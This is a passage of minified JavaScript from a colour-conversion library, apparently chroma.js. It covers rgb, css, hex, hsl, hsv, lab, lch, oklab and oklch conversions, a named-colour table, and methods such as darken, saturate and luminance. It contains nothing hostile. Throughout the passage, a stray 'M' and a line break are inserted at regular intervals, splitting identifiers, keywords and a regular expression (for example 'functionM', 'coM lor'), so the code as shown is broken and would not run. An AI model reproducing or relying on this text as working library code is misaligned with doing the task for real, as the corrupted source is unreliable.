e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
